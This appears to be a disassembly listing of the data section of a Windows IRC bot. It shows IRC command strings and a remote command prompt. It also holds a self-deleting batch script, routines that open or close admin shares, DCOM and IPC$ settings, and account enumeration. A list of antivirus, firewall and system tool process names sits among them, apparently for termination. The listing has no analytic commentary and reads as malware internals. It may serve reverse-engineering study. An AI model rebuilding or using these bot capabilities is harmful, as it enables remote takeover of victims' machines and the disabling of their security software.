aM_0: ; DATA XREF: ___:00437CB8o
; ___:00438004o
unicode 0, <M>,0
word_438724 dw 4Eh ; DATA XREF: sub_419E79+38r
; ___:00437CB4o
align 4
dword_438728 dd 42h ; DATA XREF: ___:00437CB0o
dword_43872C dd 56h ; DATA XREF: ___:00437CACo
dword_438730 dd 43h ; DATA XREF: ___:00437CA8o
dword_438734 dd 58h ; DATA XREF: ___:00437CA4o
; ___:00438038o
dword_438738 dd 5Ah ; DATA XREF: ___:00437CA0o
dword_43873C dd 4Ch ; DATA XREF: ___:00437C9Co
dword_438740 dd 4Bh ; DATA XREF: ___:00437C98o
dword_438744 dd 4Ah ; DATA XREF: ___:00437C94o
dword_438748 dd 48h ; DATA XREF: ___:00437C90o
dword_43874C dd 47h ; DATA XREF: ___:00437C8Co
dword_438750 dd 46h ; DATA XREF: ___:00437C88o
; ___:00438000o
dword_438754 dd 44h ; DATA XREF: ___:00437C84o
dword_438758 dd 53h ; DATA XREF: ___:00437C80o
dword_43875C dd 50h ; DATA XREF: ___:00437C78o
dword_438760 dd 4Fh ; DATA XREF: ___:00437C74o
dword_438764 dd 55h ; DATA XREF: ___:00437C6Co
word_438768 dw 59h ; DATA XREF: sub_41A19D+38r
; ___:00437C68o
align 4
dword_43876C dd 54h ; DATA XREF: ___:00437C64o
dword_438770 dd 52h ; DATA XREF: ___:00437C60o
dword_438774 dd 45h ; DATA XREF: ___:00437C5Co
dword_438778 dd 57h ; DATA XREF: ___:00437C58o
dword_43877C dd 51h ; DATA XREF: ___:00437C54o
dword_438780 dd 62h ; DATA XREF: ___:00437C48o
; ___:00437F3Co ...
dword_438784 dd 78h ; DATA XREF: ___:00437C3Co
dword_438788 dd 7Ah ; DATA XREF: ___:00437C38o
dword_43878C dd 6Ch ; DATA XREF: ___:00437C34o
dword_438790 dd 68h ; DATA XREF: ___:00437C28o
dword_438794 dd 67h ; DATA XREF: ___:00437C24o
dword_438798 dd 66h, 79h, 77h ; DATA XREF: ___:00437C20o
dword_4387A4 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o
dword_4387B0 dd 323334h ; DATA XREF: sub_4177CF+79o
dword_4387B4 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 10h
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo
; sub_417ADD+175r ...
align 4
dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
align 10h
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co
align 10h
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o
align 4
unk_43892C db 2Dh ; - ; DATA XREF: sub_4184E1+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_43895C db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_438984 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_4184E1+5Co
dd 65726165h, 64h
off_4389A0 dd offset aAdd ; DATA XREF: sub_4186C1+60r
; sub_418A98+51r ...
; "Add"
off_4389A4 dd offset aAdded ; DATA XREF: sub_4186C1+2Dr
; sub_418A98+83r ...
; "Added"
dword_4389A8 dd 0 ; DATA XREF: sub_4186C1+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 438A14h, 438A0Ch, 2, 438A00h, 4389F4h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004389D4o
aStop_0 db 'Stop',0 ; DATA XREF: ___:004389D0o
align 4
aStarted db 'Started',0 ; DATA XREF: ___:004389C8o
aStart_0 db 'Start',0 ; DATA XREF: ___:004389C4o
align 4
aListed db 'Listed',0 ; DATA XREF: ___:004389BCo
align 4
aList_1 db 'List',0 ; DATA XREF: ___:004389B8o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: ___:004389B0o
aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389ACo
align 4
aAdded db 'Added',0 ; DATA XREF: ___:off_4389A4o
align 4
aAdd db 'Add',0 ; DATA XREF: ___:off_4389A0o
unk_438A68 db 2Dh ; - ; DATA XREF: sub_4186C1+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_438A8C db 2Dh ; - ; DATA XREF: sub_4186C1+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
unk_438AB8 db 2Dh ; - ; DATA XREF: sub_4186C1+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_4187DD:loc_4188E7o
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_4187DD:loc_4188E0o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_4187DD:loc_4188D9o
db ' correct access rights.',0
align 10h
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_4187DD:loc_4188D2o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_4187DD:loc_4188C4o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_4187DD:loc_4188BDo
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_4187DD:loc_4188B6o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_4187DD:loc_41888Bo
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_4187DD:loc_418884o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_4187DD:loc_41887Do
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_4187DD:loc_418876o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_4187DD:loc_41884Bo
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_4187DD:loc_418823o
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
align 10h
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o
aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o
aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o
aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o
aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_41895B+25o
align 4
unk_43900C db 2Dh ; - ; DATA XREF: sub_418A98+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 10h
dword_439030 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_418A98+8Ao
dd 73252720h, 27h
unk_43904C db 2Dh ; - ; DATA XREF: sub_418A98+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
align 10h
aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o
unk_439098 db 2Dh ; - ; DATA XREF: sub_418C8E+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_418C8E+26o
align 4
unk_4390F8 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 10h
unk_439120 db 2Dh ; - ; DATA XREF: sub_418DAF+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 10h
unk_439150 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 10h
unk_439170 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
align 10h
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo
align 10h
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o
align 10h
aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
align 4
unk_43932C db 2Dh ; - ; DATA XREF: sub_4192DF+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo
align 10h
unk_439360 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
align 10h
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
align 10h
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_41945F:loc_419543o
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_41945F+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
align 10h
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
align 10h
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_41945F:loc_4194AEo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
align 4
dword_439668 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419593+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_439694 db 2Dh ; - ; DATA XREF: sub_419593+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dd 7530h
off_4396C0 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_4397C8
dd offset dword_4397BC
dd offset dword_4397B0
dd offset dword_4397A4
dd offset dword_439798
dd offset dword_43978C
dd offset dword_43977C
dd offset dword_439770
dd offset dword_439764
dd offset dword_439758
dd offset dword_43974C
dd offset dword_43973C
dd offset dword_439730
dd offset dword_439720
dword_439720 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo
; ___:0043971Co
dword_439730 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o
dword_43973C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439714o
dword_43974C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439710o
dword_439758 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co
dword_439764 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o
dword_439770 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o
dword_43977C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439700o
dword_43978C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:004396FCo
dword_439798 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:004396F8o
dword_4397A4 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:004396F4o
dword_4397B0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:004396F0o
dword_4397BC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:004396ECo
dword_4397C8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:004396E8o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o
align 4
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:004396DCo
align 10h
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:004396D8o
align 10h
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:004396D4o
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:004396D0o
align 4
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:004396CCo
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:004396C8o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396C4o
align 10h
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396C0o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o
align 4
unk_439878 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_43989C db 2Dh ; - ; DATA XREF: sub_4198EB+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 10h
unk_4398C0 db 2Dh ; - ; DATA XREF: sub_4198EB+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_4398F0 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439920 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_439948 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 4
unk_439978 db 2Dh ; - ; DATA XREF: sub_419C64+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
unk_4399AC db 2Dh ; - ; DATA XREF: sub_419C64+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 10h
off_4399D0 dd offset dword_439A08 ; DATA XREF: sub_419E79+1B3o
; sub_41A19D+17Ao
dd 0
dd offset dword_439A00
align 10h
off_4399E0 dd offset dword_4399FC ; DATA XREF: sub_41A19D+1E3o
dd offset dword_4399F8
dd offset dword_4399F4
dd offset dword_4399F0
dword_4399F0 dd 5C3A44h ; DATA XREF: sub_419E79+217o
; ___:004399ECo
dword_4399F4 dd 2444h ; DATA XREF: ___:004399E8o
dword_4399F8 dd 5C3A43h ; DATA XREF: ___:004399E4o
dword_4399FC dd 2443h ; DATA XREF: ___:off_4399E0o
dword_439A00 dd 494D4441h, 244Eh ; DATA XREF: ___:004399D8o
dword_439A08 dd 24435049h, 0 ; DATA XREF: ___:off_4399D0o
dword_439A10 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o
; sub_41A19D+2DBo
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_439A40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo
aNetworkSharesD db '- Network shares deleted.',0
align 4
dword_439A68 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_439A94 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 4
dword_439AB8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_439AE4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 4
dword_439B08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo
; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_439B38 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_439B74 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 4
dword_439BA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
; sub_41A19D+EDo
align 4
dword_439BF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o
; sub_41A19D+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_439C28 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_419E79:loc_419EE6o
dd 62617369h, 2E64656Ch, 0
dword_439C48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o
; sub_41A19D+54o
align 4
dword_439C78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o
aNetworkSharesA db '- Network shares added.',0
aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o
align 4
aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o
dword_439CA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co
; sub_41A19D:loc_41A40Do
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439CD0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o
; sub_41A19D+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_439CF0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_439D2C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_439D64 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_439DA4 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A19D:loc_41A20Ao
dd 6C62616Eh, 2E6465h
dword_439DC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dword_439E18 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41A6AE+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo
align 4
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
align 10h
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o
align 4
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o
